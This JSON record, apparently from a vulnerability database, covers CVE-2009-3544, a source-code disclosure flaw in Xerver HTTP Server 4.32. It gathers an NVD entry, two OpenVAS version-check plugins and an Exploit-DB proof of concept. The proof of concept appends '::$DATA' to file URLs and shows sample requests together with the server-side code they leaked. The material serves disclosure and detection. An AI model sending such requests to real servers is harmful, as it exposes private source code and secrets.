{"cve": [{"lastseen": "2019-05-29T18:10:00", "bulletinFamily": "NVD", "description": "Xerver HTTP Server 4.32 allows remote attackers to obtain the source code for a web page via an HTTP request with the addition of ::$DATA after the HTML file name.", "modified": "2017-09-19T01:29:00", "id": "CVE-2009-3544", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3544", "published": "2009-10-05T19:30:00", "title": "CVE-2009-3544", "type": "cve", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "exploitdb": [{"lastseen": "2016-02-01T11:04:05", "bulletinFamily": "exploit", "description": "Xerver HTTP Server 4.32 Arbitrary Source Code Disclosure Vuln. CVE-2009-3544. Remote exploit for windows platform", "modified": "2009-09-11T00:00:00", "published": "2009-09-11T00:00:00", "id": "EDB-ID:9649", "href": "https://www.exploit-db.com/exploits/9649/", "type": "exploitdb", "title": "Xerver HTTP Server 4.32 - Arbitrary Source Code Disclosure Vuln", "sourceData": "#################################################################################\n# \t#\n# Xerver HTTP Server v4.32 Remote Arbitrary Source Code Disclosure \t#\n# Found By:\tDr_IDE\t\t\t\t #\n# Download:\thttp://www.javascript.nu/xerver \t#\n# Tested On:\tWindows XPSP3 \t#\n# \t#\n#################################################################################\n\n- Description -\n\nXerver v4.32 is a Windows based HTTP server. This is the latest version of\nthe application available.\n\nXerver v4.32 is vulnerable to remote arbitrary source code disclosure by the\nfollowing means.\n\n- Notes -\n\t1. This is remote only.\n\t2. Out of the box this server is completely unsecure and wide open,\n\tmy configuration is attached below in case reproduction is an issue.\n\n\n- Technical Details -\n\n\thttp://[ webserver IP]/[ file ][::$DATA]\n\n\n- Sample Case 1 -\n\n\thttp://172.16.2.101/index.html::$DATA\n\n- Remote Browser Output - \n\n\t<html><head></head><body> This is my Web page </body></html>\n\n\n- Sample Case 2 -\n\n\thttp://172.16.2.101/default.asp::$DATA\n\n- Remote Browser Output -\n\n\t<html>\n\t<body>\n\t<%\n\tresponse.write(\"My first ASP script!\")\n\t%>\n\t</body>\n\t</html>\n\n- My Server Configuration-\n\nFilename: Xerver2.cfg\n\n----------------------snip-------------------------------------------------------------------------\n80\nindex.html,index.htm,index.shtml,default.html,default.asp,index.php,index.phtml,index.pl,index.cgi\nc:\\INETPUB\\\n\nc:\\INETPUB\\\nphp=php,php3=php,php4=php,phtml=php,pl=perl,cgi=perl,exe=,bat=\n\n\n0\n0\n0\n2\n1\nXerverWebserver.log\n----------------------snip-------------------------------------------------------------------------\n\n# milw0rm.com [2009-09-11]\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}, "sourceHref": "https://www.exploit-db.com/download/9649/"}], "openvas": [{"lastseen": "2019-05-29T18:40:22", "bulletinFamily": "scanner", "description": "This host is running Xerver HTTP Server and is prone to the Source\n Code Disclosure Vulnerability.", "modified": "2019-05-17T00:00:00", "published": "2009-10-21T00:00:00", "id": "OPENVAS:1361412562310801019", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310801019", "title": "Xerver HTTP Server Source Code Disclosure Vulnerability", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Xerver HTTP Server Source Code Disclosure Vulnerability\n#\n# Authors:\n# Antu Sanadi <santu@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2009 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.801019\");\n script_version(\"2019-05-17T12:32:34+0000\");\n script_tag(name:\"last_modification\", value:\"2019-05-17 12:32:34 +0000 (Fri, 17 May 2019)\");\n script_tag(name:\"creation_date\", value:\"2009-10-21 10:12:07 +0200 (Wed, 21 Oct 2009)\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n script_cve_id(\"CVE-2009-3544\");\n script_bugtraq_id(36454);\n script_name(\"Xerver HTTP Server Source Code Disclosure Vulnerability\");\n script_xref(name:\"URL\", value:\"http://secunia.com/advisories/36681\");\n script_xref(name:\"URL\", value:\"http://www.milw0rm.com/exploits/9649\");\n\n script_tag(name:\"qod_type\", value:\"remote_banner\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2009 Greenbone Networks GmbH\");\n script_family(\"Web application abuses\");\n script_dependencies(\"gb_xerver_http_server_detect.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_mandatory_keys(\"xerver/detected\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation will allow attackers to gain sensitive\n information about the application.\");\n\n script_tag(name:\"affected\", value:\"Xerver version 4.32 and prior on all platforms.\");\n\n script_tag(name:\"insight\", value:\"An error exists when processing HTTP requests containing '::$DATA'\n after the HTML file name which can be exploited to disclose the source code.\");\n\n script_tag(name:\"solution\", value:\"No known solution was made available for at least one year since the disclosure\n of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer\n release, disable respective features, remove the product or replace the product by another one.\");\n\n script_tag(name:\"summary\", value:\"This host is running Xerver HTTP Server and is prone to the Source\n Code Disclosure Vulnerability.\");\n\n script_tag(name:\"solution_type\", value:\"WillNotFix\");\n\n exit(0);\n}\n\ninclude(\"http_func.inc\");\ninclude(\"version_func.inc\");\n\nxerPort = get_http_port(default:80);\n\nxerVer = get_kb_item(\"www/\" + xerPort + \"/Xerver\");\nif(xerVer != NULL)\n{\n if(version_is_less_equal(version:xerVer, test_version:\"4.32\")){\n security_message(xerPort);\n }\n}\n", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2017-07-02T21:14:18", "bulletinFamily": "scanner", "description": "This host is running Xerver HTTP Server and is prone to the Source\nCode Disclosure Vulnerability.", "modified": "2017-01-09T00:00:00", "published": "2009-10-21T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=801019", "id": "OPENVAS:801019", "title": "Xerver HTTP Server Source Code Disclosure Vulnerability", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_xerver_http_server_code_disclosure_vuln.nasl 4970 2017-01-09 15:00:59Z teissa $\n#\n# Xerver HTTP Server Source Code Disclosure Vulnerability\n#\n# Authors:\n# Antu Sanadi <santu@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2009 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ntag_impact = \"Successful exploitation will allow attackers to gain sensitive\ninformation about the application.\n\nImpact Level: Application\";\n\ntag_affected = \"Xerver version 4.32 and prior on all platforms.\";\n\ntag_insight = \"An error exists when processing HTTP requests containing '::$DATA'\nafter the HTML file name which can be exploited to disclose the source code.\";\n\ntag_solution = \"No solution or patch was made available for at least one year\nsince disclosure of this vulnerability. Likely none will be provided anymore.\nGeneral solution options are to upgrade to a newer release, disable respective\nfeatures, remove the product or replace the product by another one.\";\n\ntag_summary = \"This host is running Xerver HTTP Server and is prone to the Source\nCode Disclosure Vulnerability.\";\n\nif(description)\n{\n script_id(801019);\n script_version(\"$Revision: 4970 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-01-09 16:00:59 +0100 (Mon, 09 Jan 2017) $\");\n script_tag(name:\"creation_date\", value:\"2009-10-21 10:12:07 +0200 (Wed, 21 Oct 2009)\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n script_cve_id(\"CVE-2009-3544\");\n script_bugtraq_id(36454);\n script_name(\"Xerver HTTP Server Source Code Disclosure Vulnerability\");\n script_xref(name : \"URL\" , value : \"http://secunia.com/advisories/36681\");\n script_xref(name : \"URL\" , value : \"http://www.milw0rm.com/exploits/9649\");\n\n script_tag(name:\"qod_type\", value:\"remote_banner\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2009 Greenbone Networks GmbH\");\n script_family(\"Web application abuses\");\n script_dependencies(\"gb_xerver_http_server_detect.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_tag(name : \"impact\" , value : tag_impact);\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"solution_type\", value:\"WillNotFix\");\n exit(0);\n}\n\n\ninclude(\"http_func.inc\");\ninclude(\"version_func.inc\");\n\nxerPort = get_http_port(default:80);\nif(!xerPort){\n exit(0);\n}\n\nxerVer = get_kb_item(\"www/\" + xerPort + \"/Xerver\");\nif(xerVer != NULL)\n{\n if(version_is_less_equal(version:xerVer, test_version:\"4.32\")){\n security_message(xerPort);\n }\n}\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}}]}
